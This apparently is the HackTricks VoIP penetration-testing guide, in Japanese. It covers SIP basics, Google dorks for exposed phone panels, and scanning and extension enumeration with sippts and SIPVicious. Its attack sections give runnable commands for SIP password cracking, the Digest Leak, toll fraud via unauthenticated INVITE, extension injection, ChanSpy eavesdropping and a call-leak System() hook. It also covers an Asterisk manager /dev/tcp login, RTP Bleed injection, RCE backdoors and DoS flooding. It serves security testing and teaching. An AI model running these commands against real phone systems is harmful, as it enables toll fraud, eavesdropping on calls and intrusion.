Pentesting VoIP

Support HackTricks

VoIP 基本情報

VoIPの仕組みについて学ぶには、以下を確認してください:

Basic VoIP Protocols

基本メッセージ

Request name	Description								RFC references
------------------------------------------------------------------------------------------------------
REGISTER	Register a SIP user.							RFC 3261
INVITE		Initiate a dialog for establishing a call. 				RFC 3261
ACK		Confirm that an entity has received.					RFC 3261
BYE		Signal termination of a dialog and end a call.				RFC 3261
CANCEL		Cancel any pending request.						RFC 3261
UPDATE		Modify the state of a session without changing the state of the dialog.	RFC 3311
REFER		Ask recipient to issue a request for the purpose of call transfer.	RFC 3515
PRACK		Provisional acknowledgement.						RFC 3262
SUBSCRIBE	Initiates a subscription for notification of events from a notifier.	RFC 6665
NOTIFY		Inform a subscriber of notifications of a new event.			RFC 6665
PUBLISH		Publish an event to a notification server.				RFC 3903
MESSAGE		Deliver a text message.	Used in instant messaging applications.		RFC 3428
INFO		Send mid-session information that does not modify the session state.	RFC 6086
OPTIONS		Query the capabilities of an endpoint					RFC 3261

レスポンスコード

1xx—暫定レスポンス

100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated

2xx—成功したレスポンス

200 OK
202 Accepted
204 No Notification

3xx—リダイレクションレスポンス

300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service

4xx—クライアントエラー応答

400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required

5xx—サーバー障害応答

500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure

6xx—グローバル失敗応答

600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected

VoIP Enumeration

Telephone Numbers

Red Teamが最初に行うべきステップの一つは、OSINTツール、Google検索、またはウェブページのスクレイピングを使用して、会社に連絡するための利用可能な電話番号を検索することです。

電話番号がわかったら、オンラインサービスを使用してオペレーターを特定できます:

オペレーターがVoIPサービスを提供しているかどうかを知ることで、会社がVoIPを使用しているかどうかを特定できます... さらに、会社がVoIPサービスを契約していないが、PSTNカードを使用して独自のVoIP PBXを従来の電話ネットワークに接続している可能性もあります。

音楽の自動応答などは、通常VoIPが使用されていることを示しています。

Google Dorks

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

OSINT情報

VoIPソフトウェアを特定するのに役立つ他のOSINT列挙は、Red Teamにとって有益です。

ネットワーク列挙

  • nmap はUDPサービスのスキャンが可能ですが、スキャンされるUDPサービスの数が多いため、非常に遅く、この種のサービスに対してあまり正確ではないかもしれません。

sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
  • svmap from SIPVicious (sudo apt install sipvicious): 指定されたネットワーク内のSIPサービスを特定します。

  • svmap簡単にブロックできます。なぜなら、User-Agent friendly-scannerを使用しているからですが、/usr/share/sipvicious/sipviciousのコードを変更して変更することができます。

# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • SIPPTS scan from sippts: SIPPTSスキャンは、UDP、TCP、またはTLS上のSIPサービス用の非常に高速なスキャナーです。マルチスレッドを使用しており、大規模なネットワーク範囲をスキャンできます。ポート範囲を簡単に指定し、TCPとUDPの両方をスキャンし、別のメソッドを使用し(デフォルトではOPTIONSを使用)、異なるUser-Agentを指定することができます(その他も含む)。

sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
  • metasploit:

auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

Extra Network Enumeration

PBXは、他のネットワークサービスも公開している可能性があります:

  • 69/UDP (TFTP): ファームウェアの更新

  • 80 (HTTP) / 443 (HTTPS): ウェブからデバイスを管理するため

  • 389 (LDAP): ユーザー情報を保存するための代替手段

  • 3306 (MySQL): MySQLデータベース

  • 5038 (Manager): 他のプラットフォームからAsteriskを使用することを許可

  • 5222 (XMPP): Jabberを使用したメッセージ

  • 5432 (PostgreSQL): PostgreSQLデータベース

  • その他...

Methods Enumeration

SIPPTS enumerateを使用してPBXで使用可能なメソッドを見つけることができます。sipptsから

sippts enumerate -i 10.10.0.10

サーバーの応答の分析

サーバーが私たちに返すヘッダーを分析することは非常に重要です。これは、私たちが送信するメッセージの種類やヘッダーによって異なります。 sipptsSIPPTS send を使用すると、すべてのヘッダーを操作してパーソナライズされたメッセージを送信し、応答を分析できます。

sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp

サーバーがウェブソケットを使用している場合、データを取得することも可能です。sipptsSIPPTS wssendを使用すると、パーソナライズされたWSメッセージを送信できます。

sippts wssend -i 10.10.0.10 -r 443 -path /ws

Extension Enumeration

PBX(プライベートブランチ交換)システムにおける拡張は、組織やビジネス内の個々の電話回線、デバイス、またはユーザーに割り当てられたユニークな内部識別子を指します。拡張は、各ユーザーやデバイスのために個別の外部電話番号を必要とせずに、組織内で効率的に通話をルーティングすることを可能にします。

  • svwar from SIPVicious (sudo apt install sipvicious): svwarは無料のSIP PBX拡張ラインスキャナーです。概念的には、拡張の範囲や指定された拡張のリストを推測することによって、従来のウォードライラーと同様に機能します

svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • SIPPTS exten from sippts: SIPPTS extenはSIPサーバー上の拡張を特定します。Sipextenは大規模なネットワークとポート範囲をチェックできます。

sippts exten -i 10.10.0.10 -r 5060 -e 100-200
  • metasploit: metasploitを使用して拡張機能/ユーザー名を列挙することもできます:

auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX はインターアスタリスク交換プロトコルの ユーザー名ブルートフォース列挙ツール です。enumIAX は、2つの異なるモードで動作することができます。シーケンシャルユーザー名推測または辞書攻撃。

enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

VoIP攻撃

パスワードブルートフォース - オンライン

PBXといくつかの拡張/ユーザー名を発見した場合、Red Teamは一般的なパスワードの辞書を使用して、拡張に対して**REGISTERメソッドを介して認証を試みる**ことができます。

ユーザー名は拡張と同じである可能性がありますが、この慣行はPBXシステム、その設定、および組織の好みによって異なる場合があります...

ユーザー名が拡張と異なる場合は、ブルートフォースするためのユーザー名を特定する必要があります

  • svcrack from SIPVicious (sudo apt install sipvicious): SVCrackは、PBX上の特定のユーザー名/拡張のパスワードをクラッキングすることを可能にします。

svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • SIPPTS rcrack from sippts: SIPPTS rcrackは、SIPサービス用のリモートパスワードクラッカーです。Rcrackは、異なるIPおよびポート範囲で複数のユーザーのパスワードをテストできます。

sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt

VoIPスニッフィング

オープンWifiネットワーク内にVoIP機器を見つけた場合、すべての情報をスニッフィングすることができます。さらに、より閉じたネットワーク(Ethernet経由または保護されたWifiに接続)内にいる場合、PBXとゲートウェイの間でMitM攻撃(例えば、ARPspoofing)を実行して情報をスニッフィングすることができます。

ネットワーク情報の中には、機器を管理するためのウェブ認証情報、ユーザーの内線番号ユーザー名IPアドレス、さらにはハッシュ化されたパスワードRTPパケットが含まれており、これを再生して会話を聞くことができます。

この情報を取得するために、Wiresharkやtcpdumpなどのツールを使用できますが、VoIP会話をスニッフィングするために特別に作成されたツールはucsniffです。

SIP通信にTLSが使用されている場合、SIP通信をクリアで見ることはできません。 SRTPZRTPが使用されている場合も同様で、RTPパケットはクリアテキストではありません

SIP認証情報(パスワードブルートフォース - オフライン)

SIP REGISTER通信をよりよく理解するためのこの例を確認してください 認証情報がどのように送信されるかを学ぶために。

  • sipdump & sipcrack, sipcrackの一部(apt-get install sipcrack):これらのツールは、SIPプロトコル内のダイジェスト認証抽出し、ブルートフォースすることができます。

sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • SIPPTS dump from sippts: SIPPTSダンプは、pcapファイルからダイジェスト認証を抽出できます。

sippts dump -f capture.pcap -o data.txt
  • SIPPTS dcrack from sippts: SIPPTS dcrackは、SIPPTSダンプで取得したダイジェスト認証をクラッキングするためのツールです。

sippts dcrack -f data.txt -w wordlist/rockyou.txt
  • SIPPTS tshark from sippts: SIPPTS tsharkはPCAPファイルからSIPプロトコルのデータを抽出します。

sippts tshark -f capture.pcap [-filter auth]

DTMF コード

SIP 認証情報だけでなく、ボイスメールにアクセスするために使用される DTMF コードもネットワークトラフィック内で見つけることができます。 これらのコードは INFO SIP メッセージ音声、または RTP パケット内で送信することが可能です。コードが RTP パケット内にある場合、その会話の部分を切り取り、ツール multimo を使用して抽出することができます:

multimon -a DTMF -t wac pin.wav

無料通話 / Asterisk接続の誤設定

Asteriskでは、特定のIPアドレスからの接続を許可することも、任意のIPアドレスからの接続を許可することも可能です:

host=10.10.10.10
host=dynamic

もしIPアドレスが指定されている場合、ホストはREGISTERリクエストを時々送信する必要がなくなります(REGISTERパケットには生存時間が送信され、通常は30分であり、他のシナリオでは電話は30分ごとにREGISTERする必要があります)。ただし、VoIPサーバーからの接続を受け入れるためにオープンポートが必要です。

ユーザーを定義するには、次のように定義できます:

  • type=user: ユーザーとしてのみ通話を受けることができます。

  • type=friend: ピアとして通話を行い、ユーザーとして受けることができます(拡張機能と共に使用)。

  • type=peer: ピアとして通話を送受信できます(SIPトランク)。

不正な変数を使用して信頼を確立することも可能です:

  • insecure=port: IPによって検証されたピア接続を許可します。

  • insecure=invite: INVITEメッセージの認証を必要としません。

  • insecure=port,invite: 両方。

type=friendが使用されると、host変数の値使用されません。したがって、管理者がその値を使用してSIPトランクを誤設定した場合、誰でも接続できるようになります

例えば、この設定は脆弱です: host=10.10.10.10 insecure=port,invite type=friend

無料通話 / Asteriskコンテキストの誤設定

Asteriskにおいて、コンテキストはダイヤルプラン内の関連する拡張機能、アクション、およびルールをグループ化する名前付きコンテナまたはセクションです。ダイヤルプランはAsteriskシステムのコアコンポーネントであり、着信および発信通話がどのように処理され、ルーティングされるかを定義します。コンテキストはダイヤルプランを整理し、アクセス制御を管理し、システムの異なる部分間の分離を提供するために使用されます。

各コンテキストは設定ファイル、通常は**extensions.conf**ファイルで定義されます。コンテキストは角括弧で示され、コンテキスト名がその中に囲まれています。例えば:

csharpCopy code[my_context]

内部のコンテキストでは、拡張子(ダイヤルされた番号のパターン)を定義し、それを一連のアクションやアプリケーションに関連付けます。これらのアクションは、通話がどのように処理されるかを決定します。例えば:

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

この例は、「my_context」というシンプルなコンテキストと「100」という拡張を示しています。誰かが100をダイヤルすると、通話が応答され、ウェルカムメッセージが再生され、その後通話が終了します。

これは、他の任意の番号に呼び出すことを許可する 別のコンテキストです:

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

もし管理者がデフォルトコンテキストを次のように定義した場合:

[default]
include => my_context
include => external

誰でもサーバーを使って他の番号に電話をかけることができる(サーバーの管理者が通話料金を支払うことになります)。

さらに、デフォルトで**sip.confファイルにはallowguest=trueが含まれているため、認証なしの任意の**攻撃者が他の番号に電話をかけることができます。

  • SIPPTS invite from sippts: SIPPTS inviteは、PBXサーバーが認証なしで通話を許可しているかどうかを確認します。SIPサーバーに不正な設定がある場合、外部番号への通話を許可します。また、通話を第二の外部番号に転送することも可能です。

例えば、Asteriskサーバーに不適切なコンテキスト設定がある場合、認証なしでINVITEリクエストを受け入れることができます。この場合、攻撃者はユーザー名やパスワードを知らなくても通話を行うことができます。

# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444

無料通話 / 誤設定されたIVRS

IVRSはインタラクティブ音声応答システムを指し、ユーザーが音声またはトーン入力を通じてコンピュータ化されたシステムと対話することを可能にする電話技術です。IVRSは、情報提供、通話のルーティング、ユーザー入力の取得など、さまざまな機能を提供する自動通話処理システムを構築するために使用されます。

VoIPシステムにおけるIVRSは通常、以下で構成されています:

  1. 音声プロンプト:ユーザーをIVRメニューオプションや指示に導く事前録音された音声メッセージ。

  2. DTMF(デュアルトーン多周波)信号:電話のキーを押すことで生成されるトーン入力で、IVRメニューをナビゲートし、入力を提供するために使用されます。

  3. 通話ルーティング:ユーザー入力に基づいて、特定の部門、エージェント、または内線など、適切な宛先に通話を誘導します。

  4. ユーザー入力の取得:呼び出し者からの情報を収集します。例えば、アカウント番号、ケースID、またはその他の関連データなどです。

  5. 外部システムとの統合:IVRシステムをデータベースや他のソフトウェアシステムに接続し、情報にアクセスまたは更新し、アクションを実行したり、イベントをトリガーしたりします。

Asterisk VoIPシステムでは、ダイヤルプラン(**extensions.conf**ファイル)とBackground()Playback()Read()などのさまざまなアプリケーションを使用してIVRを作成できます。これらのアプリケーションは、音声プロンプトを再生し、ユーザー入力を取得し、通話の流れを制御するのに役立ちます。

脆弱な設定の例

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

前述の例では、ユーザーに1を押して部門に電話するように、2を押して別の部門に電話するように、または知っている場合は完全な内線番号を入力するように求められます。 脆弱性は、指定された内線番号の長さがチェックされないため、ユーザーが5秒のタイムアウトを持つ完全な番号を入力すると、それが呼び出される可能性があることです。

Extension Injection

次のような内線を使用して:

exten => _X.,1,Dial(SIP/${EXTEN})

Where ${EXTEN}呼び出される内線番号 であり、ext 101 が導入されると これが起こります:

exten => 101,1,Dial(SIP/101)

しかし、もし ${EXTEN}数字以外のもの(古いAsteriskバージョンのように)を入力することを許可する場合、攻撃者は 101&SIP123123123 を入力して電話番号123123123に電話をかけることができます。そして、これが結果になります:

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

したがって、101および123123123への呼び出しが送信され、最初のものだけが接続されます... しかし、攻撃者がマッチをバイパスする拡張子を使用し、存在しない場合、彼は望ましい番号にのみ呼び出しを注入することができる

SIPDigestLeak 脆弱性

SIP Digest Leakは、多くのSIP電話、ハードウェアおよびソフトウェアのIP電話、電話アダプタ(VoIPからアナログ)に影響を与える脆弱性です。この脆弱性は、パスワードから計算されたDigest認証応答の漏洩を可能にします。オフラインパスワード攻撃が可能であり、チャレンジ応答に基づいてほとんどのパスワードを回復できます。

**脆弱性シナリオはこちらから**:

  1. IP電話(被害者)は任意のポート(例:5060)で電話を受け付けています

  2. 攻撃者はIP電話にINVITEを送信します

  3. 被害者の電話が鳴り、誰かが電話を取り、すぐに切ります(相手が応答しないため)

  4. 電話が切られると、被害者の電話は攻撃者にBYEを送信します

  5. 攻撃者は407応答を発行し認証を要求し、認証チャレンジを発行します

  6. 被害者の電話は2回目のBYEで認証チャレンジに対する応答を提供します

  7. 攻撃者はローカルマシン(または分散ネットワークなど)でチャレンジ応答に対してブルートフォース攻撃を発行し、パスワードを推測できます

  • SIPPTS漏洩sipptsから: SIPPTS漏洩は、多くのSIP電話に影響を与えるSIP Digest Leak脆弱性を悪用します。出力はSipCrack形式で保存でき、SIPPTS dcrackまたはSipCrackツールを使用してブルートフォース攻撃できます。

sippts leak -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Click2Call

Click2Callは、ウェブユーザー(例えば、製品に興味があるかもしれない)に電話番号提供させて、電話を受けることができます。次に、商業用の電話がかかり、彼が電話に出ると、ユーザーはエージェントと接続されます

これに一般的なAsteriskプロファイルは次のとおりです:

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • 前のプロファイルは 任意のIPアドレスが接続することを許可しています(パスワードが知られている場合)。

  • 前述のように 通話を組織するためには読み取り権限は必要なく書き込み発信のみが必要です。

これらの権限があれば、パスワードを知っている任意のIPが接続し、過剰な情報を抽出することができます。

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

さらなる情報やアクションが要求される場合があります。

盗聴

Asteriskでは、ChanSpy コマンドを使用して、監視する内線(またはすべての内線)を指定することで、行われている会話を聞くことができます。このコマンドは内線に割り当てる必要があります。

例えば、exten => 333,1,ChanSpy('all',qb) は、内線 333電話をかけると、all の内線を監視し、新しい会話が始まるときに聞き始めb)、静かなモード(q)で行います。私たちはそれに対してインタラクトしたくないからです。* を押すか、内線番号を入力することで、行われている会話から別の会話に移動することができます。

特定の内線のみを監視するために、ExtenSpy を使用することも可能です。

会話を聞く代わりに、内線を使用してファイルに録音することも可能です:

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

通話は /tmp に保存されます。

Asterisk に 通話を漏洩させるスクリプトを実行させる こともできます。

exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed 脆弱性

RTCPBleed は、Asterisk ベースの VoIP サーバーに影響を与える重大なセキュリティ問題です(2017年に公開)。この脆弱性により、VoIP 通話を運ぶ RTP (リアルタイムプロトコル) トラフィックインターネット上の誰でも傍受され、リダイレクトされる 可能性があります。これは、RTP トラフィックが NAT (ネットワークアドレス変換) ファイアウォールを通過する際に認証をバイパスするために発生します。

RTP プロキシは、2 つ以上の当事者間で RTP ストリームをプロキシすることによって RTC システムに影響を与える NAT の制限 に対処しようとします。NAT が存在する場合、RTP プロキシソフトウェアは、しばしばシグナリング(例:SIP)を通じて取得された RTP IP およびポート情報に依存できません。したがって、いくつかの RTP プロキシは、そのような IP およびポートのタプルを自動的に学習する メカニズムを実装しています。これは、受信した RTP トラフィックを検査し、受信した RTP トラフィックのソース IP およびポートを応答すべきものとしてマークすることによって行われます。このメカニズムは「学習モード」と呼ばれることがあり、いかなる種類の認証も使用しません。したがって、攻撃者RTP トラフィックを RTP プロキシに送信し、進行中の RTP ストリームの発信者または受信者向けに意図されたプロキシされた RTP トラフィックを受け取る ことができます。この脆弱性を RTP Bleed と呼ぶのは、攻撃者が正当なユーザーに送信されるはずの RTP メディアストリームを受信できるためです。

RTP プロキシおよび RTP スタックのもう一つの興味深い挙動は、時には RTP Bleed に対して脆弱でなくても任意のソースからの RTP パケットを受け入れ、転送し、または処理する ことです。したがって、攻撃者は正当なメディアの代わりに自分のメディアを注入できる RTP パケットを送信できます。この攻撃を RTP 注入と呼ぶのは、既存の RTP ストリームに不正な RTP パケットを注入できるためです。この脆弱性は、RTP プロキシとエンドポイントの両方に存在する可能性があります。

Asterisk と FreePBX は、伝統的に NAT=yes 設定 を使用しており、これにより RTP トラフィックが認証をバイパスし、通話で音声がないか一方向の音声になる可能性があります。

詳細については https://www.rtpbleed.com/ を確認してください。

  • SIPPTS rtpbleed from sippts: SIPPTS rtpbleed は、RTP ストリームを送信することによって RTP Bleed 脆弱性を検出します。

sippts rtpbleed -i 10.10.0.10
  • SIPPTS rtcpbleed from sippts: SIPPTS rtcpbleedは、RTCPストリームを送信することでRTP Bleed脆弱性を検出します。

sippts rtcpbleed -i 10.10.0.10
  • SIPPTS rtpbleedflood from sippts: SIPPTS rtpbleedfloodは、RTPストリームを送信することでRTP Bleed脆弱性を悪用します。

sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
  • SIPPTS rtpbleedinject from sippts: SIPPTS rtpbleedinjectは、音声ファイル(WAV形式)を注入してRTP Bleed脆弱性を悪用します。

sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav

RCE

Asteriskでは、拡張ルールを追加して再読み込みすることができる方法があり(例えば、脆弱なウェブマネージャーサーバーを侵害することによって)、**System**コマンドを使用してRCEを取得することが可能です。

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

There is command called Shell that could be used instead of System to execute system commands if necessary.

もしサーバーが**Systemコマンドで特定の文字の使用を禁止している場合(Elastixのように)、ウェブサーバーがシステム内にファイルを作成することを許可しているか確認してください(Elastixやtrixboxのように)、それを使用してバックドアスクリプトを作成し、その後Systemを使用してそのスクリプトを実行**します。

興味深いローカルファイルと権限

  • sip.conf -> SIPユーザーのパスワードを含む。

  • Asteriskサーバーがrootとして実行されている場合、rootを危険にさらすことができる。

  • mysql rootユーザーパスワードを持っていない可能性がある

  • これはバックドアとして新しいmysqlユーザーを作成するために使用できる。

  • FreePBX

  • amportal.conf -> ウェブパネル管理者(FreePBX)のパスワードを含む。

  • FreePBX.conf -> データベースにアクセスするために使用されるFreePBXuserのパスワードを含む。

  • これはバックドアとして新しいmysqlユーザーを作成するために使用できる。

  • Elastix

  • Elastix.conf -> mysql rootパス、IMAPdパス、ウェブ管理者パスなどのクリアテキストのパスワードを含む。

  • いくつかのフォルダーは、侵害されたasteriskユーザーに属します(rootとして実行されていない場合)。このユーザーは前述のファイルを読み取ることができ、設定を制御することもできるため、Asteriskが実行時に他のバックドアバイナリを読み込むようにすることができます。

RTPインジェクション

rtpinsertsoundsudo apt install rtpinsertsound)や**rtpmixsoundsudo apt install rtpmixsound)などのツールを使用して、会話に.wav**を挿入することが可能です。

また、http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/からのスクリプトを使用して、会話をスキャンする(rtpscan.pl)、会話に**.wavを送信する(rtpsend.pl)、会話にノイズを挿入する(rtpflood.pl**)ことができます。

DoS

VoIPサーバーでDoSを達成するためのいくつかの方法があります。

  • SIPPTS flood from sippts**: SIPPTS floodはターゲットに無限のメッセージを送信します。

  • sippts flood -i 10.10.0.10 -m invite -v

  • SIPPTS ping from sippts**: SIPPTS pingはサーバーの応答時間を確認するためにSIP pingを行います。

  • sippts ping -i 10.10.0.10

  • IAXFlooder: Asteriskによって使用されるDoS IAXプロトコル。

  • inviteflood: UDP/IP上でSIP/SDP INVITEメッセージの洪水を実行するためのツール。

  • rtpflood: いくつかの適切に形成されたRTPパケットを送信します。使用されているRTPポートを知る必要があります(最初にスニッフィングしてください)。

  • SIPp: SIPトラフィックを分析および生成することができます。したがって、DoSにも使用できます。

  • SIPsak: SIPスイスアーミーナイフ。SIP攻撃を実行するためにも使用できます。

  • Fuzzers: protos-sipvoiper

OSの脆弱性

Asteriskのようなソフトウェアをインストールする最も簡単な方法は、すでにインストールされているOSディストリビューションをダウンロードすることです。例:FreePBX、Elastix、Trixbox... それらの問題は、一度動作し始めると、システム管理者が再度更新しない可能性があり脆弱性が時間とともに発見されることです。

参考文献

Support HackTricks

Last updated